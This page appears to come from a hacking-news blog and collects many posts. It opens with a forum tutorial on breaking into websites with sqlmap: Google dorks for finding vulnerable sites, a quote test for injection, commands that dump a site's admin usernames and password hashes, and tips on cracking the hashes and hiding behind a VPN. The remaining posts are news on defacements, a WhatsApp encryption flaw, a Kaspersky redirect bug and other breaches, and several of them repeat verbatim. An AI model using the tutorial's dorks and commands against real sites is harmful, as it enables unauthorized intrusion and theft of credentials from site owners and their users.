Hack Website Using SqlMap | Kali Linux

In this tutorial I am going to show you how to hack a website with slqmap on Kali Linux.

Introduction
[*]Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. This is all about sqlmap. 
Now follow my steps to hack a website using sqlmap.

Step 1
[*]Find Sql vulnerable site. 
I will give you some dorks which may help you finding websites vulnerable to Sql Injection.

Code:

]inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

Step 2
[*]Test if the website is vulnerable
]To test if the website is vulnerable to Sqli just add " ' " at the end of the url. Like on the image below:



And press enter. If error appears like on the image below it means the website is vulnerable. 




(I'm not going to explain advanced ways to check the website for sql vulnerabiities because there are plenty of tutuorials about that on CHF)

Ok, so we found the target. Now let's go ahed.

Step 3
[*]Injection
Type this command in the terminal and hit enter like on the image below:

Code:

sqlmap -u "www.yourtaget.com/page.php?id=1" --dbs

(Insert the url that we checked for Sql Vulnerability)

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Now we will get the database name of the website.

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We got the two database ohridhot_ohrid
and information_schema we will select ohridhot_ohrid
database.

Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter. 

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid --tables

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Now we will get the tables list which is stored in the database we selected.

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Now lets grab the columns from the admin table , type on terminal:

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin --columns

Now we got the columns and we got user and pass like on the image below

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Now let's grab the user and pass

Code:

sqlmap -u "http://www.yourvictim/page.php?id=1" -D ohridhot_ohrid -T admin -C user,pass --dump

Now we have to decrypt the hash , there are also tutorial about hash decryption on CHF.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !

[*]Directory of sqlmap on Kali Linux
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output


That's all , I hope you enjoyed the tutorial. 

Credit : CrackHackForum

Hackers breach PureVPN website by exploiting a zero-day WHMCS vulnerability

Customers of the Virtual Private network provider "PureVPN" over the weekend started receiving a fake email claiming to be from the founder saying that "due to an incident we had to close your account permanently".

"We are no longer able to run an anonymization service due to legal issues we are facing" The fake email reads.

"We had to handover all customer’s information to the authorities unfortunately. They might contact you if they need any details about the case they are working on. The following information was handed over: your name, billing address and phone number provided during purchase and any documents we had on file (for example scan of your ID or driver’s license if you have provided these to our billing department)."

However, the Co-founder ,Uzair Gadit, said in the official blog post that the email is fake and confirmed the purevpn website hit by a security breach.

Hackers exploited a vulnerability in 3rd party application WHMCS and compromised the email IDs and names of registered users.

"We repeat no billing information such as Credit Card or other sensitive personal information was compromised." The blog post reads.

Vulnerability in WhatsApp allows decrypting user messages

A serious vulnerability in WhatsApp allows anyone who is able to eavesdrop on WhatsApp connection to decrypt users' messages.

Whatsapp, the mobile application for instant messaging platform has become one of the main communication tools of the present day and its popularity makes it attractive for security researchers and hackers.

This time it is debated in the protection of the messages exchanged through the application, thanks to a vulnerability in the crypto implementation they can be intercepted by an attacker.

Thijs Alkemade is a computer science student at Utrecht University in The Netherlands who works on the open source Adium instant messaging project, during its research activity he disclosed a serious issue in the encryption used to secure WhatsApp messages.

In the post titled "Piercing Through WhatsApp’s Encryption" Alkemade remarked that Whatsapp has been plagued by numerous security issues recently, easily stolen passwords, unencrypted messages and even a website that can change anyone’s status.

"You should assume that anyone who is able to eavesdrop on your WhatsApp connection is capable of decrypting your messages, given enough effort. You should consider all your previous WhatsApp conversations compromised. There is nothing a WhatsApp user can do about this but expect to stop using it until the developers can update it." states the researcher.

An attacker sniffing a WhatsApp conversation is able to recover most of the plaintext bytes sent, WhatsApp uses RC4 software stream cipher to generate a stream of bytes that are encrypted with the XOR additive cipher.

The mistakes are:

• The same encryption key in both directions
• The same HMAC key in both directions

Below the trick used by the researcher to reveal the messages sent with WhatsApp exploiting first issue:

WhatsApp adopts the same key for the incoming and the outgoing RC4 stream, "we know that ciphertext byte i on the incoming stream xored with ciphertext byte i on the outgoing stream will be equal to xoring plaintext byte i on the incoming stream with plaintext byte i of the outgoing stream. By xoring this with either of the plaintext bytes, we can uncover the other byte."

The technique doesn't directly reveal all bytes but works in many cases, another element that advantage the attacker is that messages follow the same structure and are easy to predict starting from the portion of plaintext that is disclosed.

The second issue related to the HMAC id more difficult to exploit, Alkemade said WhatsApp also uses the same HMAC key in both directions, another implementation error that puts messages at risk, but is more difficult to exploit.

The MAC is used to detect data alteration but it is not enough to detect all forms of tampering, the attacker potentially could manipulate any message.

"TLS counters this by including a sequence number in the plaintext of every message and by using a different key for the HMAC for messages from the server to the client and for messages from the client to the server. WhatsApp does not use such a sequence counter and it reuses the key used for RC4 for the HMAC."

Alkemade is very critical to the development team of the popular platform:

“There are many pitfalls when developing a streaming encryption protocol. Considering they don’t know how to use a xor correctly, maybe the WhatsApp developers should stop trying to do this themselves and accept the solution that has been reviewed, updated and fixed for more than 15 years, like TLS,” he said.

I agree with the thinking of the researcher, security for applications such as WhatsApp is crucial given its level of penetration, it is true that the interest of the scientific community and cybercrime will surely lead them to discover new vulnerabilities to which WhatsApp have to provide a quick solution.

Alkemade confirmed that there is no remediation for the flaw in this moment, that's why he suggest to stop using WhatsApp until developers produce a patch.

Antivirus firm ESET and BitDefender website defaced by Pro-Palestinian Hackers

A pro-Palestinian hacktivist group 'KDMS Team', who recently managed to briefly hijack the Metasploit website of security firm Rapid7 and become popular after Hacking World's largest Web Hosting Network Leaseweb website and antivirus vendors AVG, Avira as well as mobile messaging service WhatsApp's websites.

Now even I have to say that - Security is just an Illusion, because just now the group aligned with Anonymous has successfully hijacked another two Antivirus firm website - ESET and Bitdefender.

The KDMS Team successfully changed the DNS records of both sites to redirect people to a website playing the Palestinian national anthem and displaying a political message under the title "You Got Pwned".

Message posted on Bitdefender and Eset website says:

Hello bitdefender
Touched By KDMS team
We was thinking about quitting hacking and disappear again ..!
But we said : there is some sites must be hacked
You are one of our targets Therefore we are here ..
And there is another thing .. do you know Palestine ?
There is a land called Palestine on the earth This land has been stolen by Zionist Do you know it ?
Palestinian people has the right to live in peace Deserve to liberate their land and release all prisoners from israeli jails We want peace Long Live Palestine

Both affected domains are registered from REGISTER.COM, INC. by companies, which is also a domain registrar for Metasploit website -- was hijacked yesterday via a spoofed change request faxed to Register.com. But the technical details on how hackers managed to hijack the ESET and Bitdefender website is not yet available, we are in contact with hackers.. Will update the article in a few hours. Stay Tuned !

Defacement of Security companies is really embarrassing and hacker's tactics allowed them to get their political message to millions of users. One of their team members tweeted, "When it's a matter of resistance no one will blame you. . Free Palestine .. Fight for Palestine"

Chinese hackers miss Google network, but the checks go on

Google exec Schmidt says U.S. government networks are in danger 'because no one is there' during the shutdown to stop hackers - See more at: http://www.computerworld.com/s/article/9243040/Chinese_hackers_miss_Google_network_but_the_checks_go_on#sthash.a3ec9xiO.dpuf

 Google exec Schmidt says U.S. government networks are in danger 'because no one is there' during the shutdown to stop hackers.

He put a question to an audience Gartner's Symposium ITxpo here on Monday. "Raise [your] hand if you're sure the Chinese are not inside your corporate network."

Many of the 8,500 attendees were in the hall to hear the question, but only five hands were raised. "Congratulations," Schmidt said from the stage.

Getting more serious, Schmidt lamented the open pathways in corporate networks, letting hackers slip in via NT servers.

Schmidt suggested a better network would eliminate the corporate intranet.

"We're going to have just a network. We're going to make sure that gaining access is application to application," he said.

In an interview on stage with Gartner analysts David Willis and Drue Reeves, Schmidt was asked whether he's sure that Chinese hackers haven't penetrated Google's corporate network.

"We're quite sure they are not right now," said Schmidt of the Chinese, "although every second we check." The audience chuckled.

"I can be quite sure that the Chinese are visiting the U.S. government at the moment because no one is there," said Schmidt, a reference to the federal government shutdown.

Major vendors, and other companies, have faced attacks from China.

Meanwhile, when asked about the security of mobile devices running the Google built Android operating system, Schmidt said "it's more secure than the iPhone."

Eric Schmidt, Google's executive chairman, put a question to an audience Gartner's Symposium ITxpo here on Monday. "Raise [your] hand if you're sure the Chinese are not inside your corporate network."

Many of the 8,500 attendees were in the hall to hear the question, but only five hands were raised. "Congratulations," Schmidt said from the stage.
Getting more serious, Schmidt lamented the open pathways in corporate networks, letting hackers slip in via NT servers.
Schmidt suggested a better network would eliminate the corporate intranet.
"We're going to have just a network. We're going to make sure that gaining access is application to application," he said.
In an interview on stage with Gartner analysts David Willis and Drue Reeves, Schmidt was asked whether he's sure that Chinese hackers haven't penetrated Google's corporate network.
"We're quite sure they are not right now," said Schmidt of the Chinese, "although every second we check." The audience chuckled.
"I can be quite sure that the Chinese are visiting the U.S. government at the moment because no one is there," said Schmidt, a reference to the federal government shutdown.
Major vendors, and other companies, have faced attacks from China.
Meanwhile, when asked about the security of mobile devices running the Google built Android operating system, Schmidt said "it's more secure than the iPhone."
- See more at: http://www.computerworld.com/s/article/9243040/Chinese_hackers_miss_Google_network_but_the_checks_go_on#sthash.a3ec9xiO.dpuf

WhatsApp Website defaced by KDMS team

WhatsApp Defaced Page

 

 

 

 

 

 

 

 

 

 

The Web site of WhatsApp, a widely used messaging app, appeared to have been defaced Tuesday.
The site showed a pro-Palestinian message at 2:40 a.m. PT Tuesday and was given the title "You Got Pwned." A group called KDMS Team claimed credit for the attack.

According to the Whois database, which can be used to see what numeric Internet Protocol (IP) address is assigned to a given Internet domain, the whatsapp IP address record was changed on Tuesday. Such a change, made through the Internet's Domain Name Service (DNS) system, is one way that users who typed in the whatsapp.com name would be redirected to a different Web site.
It wasn't immediately clear if there were any problems with WhatsApp's customer data or services. CNET contacted the company for comment and will update this story with its reply.
WhatsApp is used to send billions of messages a day using mobile apps.

AVG Antivirus and Avira Websites defaced by Palestinian Hackers

AVG Antivirus Hack Screenshot

The Website of Word's most popular Antivirus Firm - AVG were hacked this morning and defaced by a new Palestinian Hacker group - KDMS Team, affiliated with Anonymous Group.

The Defacement page titled 'You got Pwned', with Anonymous Logo and playing Palestinian national anthem in the page background, says: 

we want to tell you that there is a land called Palestine on the earth
this land has been stolen by Zionist
do you know it ?
Palestinian people has the right to live in peace
Deserve to liberate their land and release all prisoners from israeli jails
we want peace and "There Is No Full Security We Can Catch You !"

UPDATE : Another Antivirus Firm 'AVIRA' website also defaced by hackers, just few minutes before.

Avira Website Defaced Page

NETWORK SOLUTIONS, LLC is common Domain Registrar for AVG, Avira and Whatsapp . Possibly, hacker compromised the Domain Registrar and modifies the DNS settings to perform DNS Hijacking.

Official Delhi Education Board Website hacked by Anonymous Kashmir -Protests against Indian Brutality in Kashmir

Board of Higher Secondary Education Delhi, India has been hacked and defaced by Anonymous Kashmir. Anonymous hacktivists protested against Indian brutality in occupied Kashmir.
Hacked Websites:

• http://bhsdelhi.com/index.html
• http://results.bhsdelhi.com/index.html

Mirrors of the hacked sites:

• http://zone-hc.com/archive/mirror/7512def_bhsdelhi.com_mirror_.html
• http://zone-hc.com/archive/mirror/e918dfe_results.bhsdelhi.com_mirror_.html

The complete message left by the hacker on the deface page can be found below.

Congratulations! India, Congratulation Your Brutality Continue In Kashmir. Recently You Killed Several Persons At Shopian Area Of Kashmir And Labelled Them As Terrorists. Without Knowing They Were Innocent Youths Who Even do Not Know What Is Real Meaning Of Terrorist. You Not only Killed Those But You Are Killing From 1970′s. You Killed Kashmiri Youth In Hundreds Just To Prove That There Are Still Militants In Kashmir From Last Couple oF mONTHS You Are Wondering Young Youth Joining Terrorist Orgaisations. It’s Just Output Of Your Doings. Every Day Kashmiri Shout For Injustice….Every Day A Kashmiri Saying Save Me Save Me. But No 1 Is Hearing. Recently You Hanged Shahhed Afzal Guru For No Reason???Y Only Injustice With People Of kashmir?Not Only You Hanged Him But U Also Hanged Shaheed Maqbool Bhat. This Is Not Yet Finish ?You Forget You Killed Two Persons at ganderbal for no reason?when u will do justice with people of kashmir?

Silk Road taken down by FBI

Notorious online marketplace "Silk Road" has been taken down by the FBI and the owner "Ross Ulbricht" a.k.a (Dread Pirate Roberts) has been arrested . Proving that "Perfect security is impossible"

He has been charged with  conspiracy to traffic narcotics, conspiracy to hack computers, and conspiracy to launder money.

The website now shows a "This Hidden Site Has Been Seized" message

Silk Road was the drug dealing website in the world .It used the "TOR hidden network" to hide itself and its users.It seems Ross Ulbricht was caught due to his own mistakes and NOT due to a vulnerability in the TOR network.


This site had been a major point used lawmakers and politicians to try to curtail the growth of the TOR
 network.And now the recent actions by the FBI against many hidden sites in the TOR network is indeed a very big setback for it.

All the transactions in silkroad were done using Bitcoins and since the news of Ross Ulbricht's arrest bitcoin value has dropped quite a bit (Due to paranoid selling). But this is just the currency stabilizing itself, when it stabilizes BTC value will rise again. And the removal of association from such illigal market places might actually be a good thing for bitcoins.

Jordan's PM's website hacked by Anonymous hacktivist

Anonymous hacktivists have hacked into official website of Jordan's Prime ministry in a protest against raising taxes and prices.  The website was defaced with a message in Arabic to Prime Minister Abdullah Nsur.

"Hi uncle, how are you? We are sorry, we hacked your website. Are you upset? We feel much worse when you raise prices. The people know this feeling but you do not," the defacement message reads.

According to Voice of Russia report, the website has been restored after it was hacked for several hours.  The official claimed to have identified the attackers.

At the time of writing, the website(pmo.gov.jo) is offline.  You can still view the defacement in Google cache: http://webcache.googleusercontent.com/search?q=cache:http://pmo.gov.jo/PMO_Images/635159460595068250.htm

Anonymous hacktivists have hacked into official website of Jordan's Prime ministry in a protest against raising taxes and prices.  The website was defaced with a message in Arabic to Prime Minister Abdullah Nsur.

"Hi uncle, how are you? We are sorry, we hacked your website. Are you upset? We feel much worse when you raise prices. The people know this feeling but you do not," the defacement message reads.

According to Voice of Russia report, the website has been restored after it was hacked for several hours.  The official claimed to have identified the attackers.

At the time of writing, the website(pmo.gov.jo) is offline.  You can still view the defacement in Google cache: http://webcache.googleusercontent.com/search?q=cache:http://pmo.gov.jo/PMO_Images/635159460595068250.htm - See more at: http://www.ehackingnews.com/2013/09/jordans-pms-website-hacked-by-anonymous.html#sthash.jNlmt3gn.dpuf

Anonymous hacktivists have hacked into official website of Jordan's Prime ministry in a protest against raising taxes and prices.  The website was defaced with a message in Arabic to Prime Minister Abdullah Nsur.

"Hi uncle, how are you? We are sorry, we hacked your website. Are you upset? We feel much worse when you raise prices. The people know this feeling but you do not," the defacement message reads.

According to Voice of Russia report, the website has been restored after it was hacked for several hours.  The official claimed to have identified the attackers.

At the time of writing, the website(pmo.gov.jo) is offline.  You can still view the defacement in Google cache: http://webcache.googleusercontent.com/search?q=cache:http://pmo.gov.jo/PMO_Images/635159460595068250.htm - See more at: http://www.ehackingnews.com/2013/09/jordans-pms-website-hacked-by-anonymous.html#sthash.jNlmt3gn.dpuf

FBI demands SSL Keys from Secure-Email provider Lavabit in Espionage probe

During the summer, The Secure email provider 'Lavabit' and preferred service for PRISM leaker Edward Snowden decided to shut down after 10 years to avoid being complicit in crimes against the American people.

The U.S. Government obtained a secret court order demanding private SSL key from Lavabit, which would have allowed the FBI to wiretap the service’s users, according to Wired.

Ladar Levison, 32, has spent ten years building encrypted email service Lavabit, attracting over 410,000 users. When NSA whistleblower Edward Snowden was revealed to be one of those users in July, Ladar received the court orders to comply, intended to trace the Internet IP address of a particular Lavabit user, but he refused to do so.

The offenses under investigation are listed as violations of the Espionage Act and Founder was ordered to record and provide the connection information on one of its users every time that user logged in to check his e-mail.

The Government complained that the Lavabit had the technical capability to decrypt the information, but that Lavabit did not want to defeat its own system, So on the same day, U.S. Magistrate Judge Theresa Buchanan ordered Lavabit to comply, threatening Lavabit with criminal contempt.

FBI's search warrant also demanded all information necessary to decrypt communications sent to or from the Lavabit email account redacted including encryption keys and SSL keys.

But because Lavabit hadn’t complied till August 5, and a court ordered that Levison would be fined $5,000 a day beginning August 6, for every day he refused to turn over the key. 

On August 8, Levison finally decided to shut down Lavabit. “I’m taking a break from email,” said Levison. “If you knew what I know about email, you might not use it either.”

Code-sharing site GitHub now offers two-factor authentication to its users

Code repository GitHub offers two-factor authentication to beef up security around its users’ accounts. Github is a coding repository where developers used to build their projects projects that may turn out to be valued knowledgeable assets.

Two-Factor Authentication adds another layer of authentication to the login process, Now users have to enter their username and password, and a secret code in the second step, to complete the sign in. If a hacker manages to steal a user's credentials through phishing or trojans, cannot do anything, as they do need a second key to enter.

“We strongly urge you to turn on 2FA for the safety of your account, not only on GitHub, but on other websites that support it,” the company says. This two-factor authentication for Githu can be turned on in your account settings.

GitHub hit 3.5 million users’ landmark along with 6 million repositories deposited on its 5th anniversary in April. Two-factor authentication can protect you from phishing attacks, where hackers try to trick you into giving over your information.

For receiving the second authentication factor, users can either choose to receive it via a text message or can use dedicated authentication mobile app i.e. Google Authenticator for Android/iPhone/BlackBerry or Duo Mobile for Android/iPhone or Authenticator for Windows Phone 7.

China hit by DDoS attack causes Internet inaccessible for hours

During the weekend China's Internet was taken down by a powerful distributed denial of service (DDoS) attack on the .cn domain slowed and blocked Internet access inaccessibility for hours.

Security expert clarified that China could have been perpetrated by sophisticated hackers or by a single individual. The China Internet Network Information Center [CINIC] reported that the attack began at 02:00 local time on Sunday with a peek at 04:00 that made it the largest DDoS attack the country’s networks have ever faced. The CCINIC is responsible for registering sites in the .cn domain.

Before malicious coders can launch a DDoS attack, they must infect the computers of unsuspecting users, often by tricking people into installing malware on their computers.

The China Internet Network Information Center confirmed the attack with an official statement informing internet users that it is gradually restoring web services and that will operate to improve the security level of the Internet infrastructure of the country to prevent and mitigate further attacks.

Following the translated announcement: "8 May 25 at 0:00 or so, the State DNS node Denial of Service attacks, the China Internet Network Information Center disposal, to 2 pm, the service is restored to normal, early morning 3 through the official micro notice. Morning four o'clock, the state once again under DNS node biggest ever denial of service attacks, some websites analytical affected, leading to slow or interrupt access. 

In the notice, the attack continues, national domain name resolution services have been gradually restored. Ministry of Industry and Information Technology launched the "Domain Name System Security specific contingency plans" to further the protection of national domain name resolution services. China Internet Network Information Center, the affected user apologized to launch cyber attacks on the Internet stable behavior affect condemned. China Internet Network Information Center will work with the sector to work together to continue to enhance the service capabilities."

The Wall Street Journal was the first media agency that reported the important outage, the official source of Chinese Government confirmed that its network suffered the biggest distributed denial-of-service attack ever.

It's not currently known who attacked the Chinese domain or the motivations, CloudFlare CEO Matthew Prince said that there is no certainty that behind the attack there is a group of hackers, he added that "it may have well been a single individual".

Hacker reported vulnerability in Kaspersky website, Demonstrated malware spreading technique

The cyber Security Analyst  'Ebrahim Hegazy' (@Zigoo0) Consultant at Q-CERT has found an "Unvalidated Redirection Vulnerability" in the website of the giant security solutions vendor "Kaspersky".

Ebrahim, who found a SQL Injection in "Avira" website last month, this time he found a Unvalidated Redirection Vulnerability that could be exploited for various purposes such as:

• Cloned websites (Phishing pages)
• It could also be used by Black Hats for Malware spreading

In the specific case what is very striking is that the link usable for the attacks is originated by a security firm like Kaspersky with serious consequences.

Would you trust a link from your security vendor? Absolutely Yes! But imagine your security vendor is asking you to download a malware!

To explain how dangerous the situation is when your security vendor is vulnerable, Ebrahim Hegazy sent me a video explaining the malware spreading scenario to simulate a Black Hat's exploiting Unvalidated Redirection Vulnerability in Kaspersky website to serve a malware.

"Since I'm working on Cyber security analysis, I've seen many methods of black-hats to spread links, maybe this link is for Exploit kits, Java Applet, flash exploits, or maybe a direct link to their EXE file. Let's take an example on the Facebook spreading techniques of the attackers, you may notice that "Mediafire" website was used lately in wide Malware spreading attack on Facebook.com,Which caused a wide infection, as the infected user will start to send links from Mediafire.com to his friends and since "Mediafire" is a trusted website/source for users so they simply click it and download the file!

But what if the links are coming from a very well known Security solutions vendor such as Kaspersky? For sure people will trust the links. So, through "Unvalidated Redirection Vulnerability" in Kaspersky, attackers will be able to spread a link coming from Kaspersky.com but when the user clicks on that link, he will get redirected to the attacker's website which would download at Malware on their machines or even download a "Rogue Antivirus" to steal financial information such as credit card information!" explained Ebrahim Hegazy.

After the researcher reported the vulnerability to Kaspersky team, it took about 2 months to fix the vulnerability, it is really a long time considering that if a hacker had found this flaw before Hagazy he could spread links using Kaspersky.com.

The consequences of unfixing of such vulnerability are critical

• Wide infection - since the redirection is coming from a trusted source especially if the attacker registered a domain name similar to Kaspersky.com
• Very bad reputation for Kaspersky company.
• Your most trusted resource "Your Antivirus" will be your worst enemy! Would you trust anything else!

Malware Bites and How to Stop It

Antivirus software running on your computer has one big weak point -- if a new virus is released before the antivirus provider knows about it or before the next scheduled antivirus software update, your system can be infected. Such zero-day infections are common.

However, a key recent development in antivirus software is to incorporate built-in defences against viruses and other computer malware for which they have no prior knowledge. These defences usually respond to unusual activity that resembles the way viruses behave once they have infected a system. This so-called heuristic approach combined with regularly updated antivirus software will usually protect you against known viruses and even zero-day viruses. However, in reality, there are inevitably some attacks that continue to slip through the safety net.

Writing in a forthcoming issue of the International Journal of Electronic Security and Digital Forensics, researchers at the Australian National University, in Acton, ACT, and the Northern Melbourne Institute of TAFE jointly with Victorian Institute of Technology, in Melbourne Victoria, have devised an approach to virus detection that acts as a third layer on top of scanning for known viruses and heuristic scanning.

The new approach employs a data mining algorithm to identify malicious code on a system and the anomaly of behaviour patterns detected is predominantly based on the rate at which various operating system functions are being "called." Their initial tests show an almost 100% detection rate and a false positive rate of just 2.5% for spotting embedded malicious code that is in "stealth mode" prior to being activated for particular malicious purposes.

"Securing computer systems against new diverse malware is becoming harder since it requires a continuing improvement in the detection engines," the team of Mamoun Alazab (ANU) and Sitalakshmi Venkatraman (NMIT) explain. "What is most important is to expand the knowledgebase for security research through anomaly detection by applying innovative pattern recognition techniques with appropriate machine learning algorithms to detect unknown malicious behaviour."

Reserve Bank of Australia Hacked by Chinese Malware

According to Australian Financial Review report on Monday, the Reserve Bank of Australia (RBA) was hacked by hackers who infiltrated its networks and allegedly stole information using a Chinese piece of malware.

After investigations they found multiple computers had been compromised by malicious software seeking intelligence. Several RBA staffers including heads of department were sent the malicious emails over two days, but it isn't known if the malware executed and succeeded in capturing information from the compromised computers.

 The malware consisted of a web address that linked to a zip file that contained a Trojan which at the time was not detected by the anti-virus program, according to the bank. 

A Defence department spokesperson said: “The government does not discuss specific cyber incidents, activities or capabilities. [Doing so] could jeopardise ongoing investigations, monitoring of cyber incidents and the ability to protect information and networks.”

Documents also showed that six users clicked on the link contained in the mail. All of the six workstations affected did not have local administrator rights, so the virus could not spread.

Security Hole found in Cisco Linksys Routers

Security company DefenseCode Ltd has disclosed a video showing a proof of concept exploit that allows root access to millions of Cisco Linksys routers in their default installation.

The company says they have contacted Cisco about a remote preauth (root access) vulnerability in default installation of their Linksys routers, including detailed vulnerability description along with the PoC (proof of concept) exploit for the vulnerability.

The exploit shown in this video has been tested on Cisco Linksys WRT54GL, but DefenseCode says other Linksys models could also be affected.

Cisco Linksys is a popular router. Still according to the company Cisco claims this vulnerability was already fixed in latest firmware release but further tests show that the latest official Cisco Linksys firmware 4.30.14, and all previous versions are still vulnerable.

Raid Knocks Torrent Sites Offline, Anonymous Vows Revenge

Swedish authorities on Monday raided the host company of many popular torrent and sports-streaming sites, knocking them offline. In response, an Anonymous member vowed revenge against the Swedish government.

PRQ.se, which was founded by two co-founders of The Pirate Bay (but which only hosts a relay for The Pirate Bay), was the target of the raid, according to TorrentFreak.


An Anonymous member, meanwhile, posted a YouTube clip Monday claiming that the Swedish government had “done a raid on the pirate bay and other torrents sites” [sic].

“The raid on PRQ disabled many of our torrent sites,” said the message. “We see this as a crime against freedom to information and there for we have disabled some of swedish governments or affiliate sites in protest against this raid” [sic].

Interestingly, the Anonymous member later acknowledges the raid was not targeted at The Pirate Bay.

“Swed’s raided PRQ which effects torrent sites but was not a direct attack on tpb and as far as I can tell would not really effect tpb at all,” [sic] says the post.

The Anonymous message continues to list more than a dozen sites affiliated with the Swedish government as potential targets for Distributed Denial of Service or other attacks. As of Tuesday afternoon, every listed site is loading normally.

PRQ and several sites hosted by the company, however, remain inaccessible.

Anonymous has a history of attempted or successful attacks against governments following law enforcement raids on torrent-hosting sites, including targeting the U.S. Department of Justice following an American-backed raid against Megaupload early this year.

Anonymous publish Classified Documents from Greek Finance Ministry server

Collective hacking group Anonymous leaks username-passwords and classified documents from Greek Finance Ministry server. Just a few days before the Greek Parliament is scheduled to vote on a $17.45 billion spending cut and tax hike plan. Attack was carried out under anonymous operation named - #opGreece.

The attackers claim that they wanted to expose the date on the state of Greek economy so that all Greeks know the truth and thus just days before the 13.5-billion-euro austerity package goes to Parliament for voting.

"Citizens of Greece you are paying Banks and international hedge funds. They own your lives. Revolt before it's too late. The austerity measures should not pass." Anonymous said in note.

The attackers claimed that their aim is to expose all the data of Greek economy so all Greek citizens know the truth.

The documents are uploaded to Anon file sharing site: -
https://anonfiles.com/file/5c9fa9402e62bffd2f569ac3d118fbcd
https://anonfiles.com/file/a50145cddeb310ad8250c6c97d569887

https://anonfiles.com/file/5c9fa9402e62bffd2f569ac3d118fbcd

https://anonfiles.com/file/a50145cddeb310ad8250c6c97d569887

- See more at: http://thehackernews.com/2012/10/anonymous-leak-classified-documents.html#_

The documents are uploaded to Anon file sharing site: - See more at: http://thehackernews.com/2012/10/anonymous-leak-classified-documents.html#_

The documents are uploaded to Anon file sharing site: - See more at: http://thehackernews.com/2012/10/anonymous-leak-classified-documents.html#_

Bharatiya Janta Party website defaced by Anonymous

Anonymous Hacked Bhartiya Janta Party's website a month ago.

They post a set of messages with pictures, reflecting the group’s condemnation of recent events including the government’s approval of 51% FDI in multi-brand retail, diesel price hike, corruption, the cartoon controversy, and the Kudankulam Power Project, among others.

The group also posted a YouTube video with a message from anonymous :

Last month, Anonymous Operation India (AnonOps India), had defaced the online magazine of the Indian Youth Congress Yuvadesh.com, in support of India Against Corruption and protests against alleged internet censorship by the Indian government.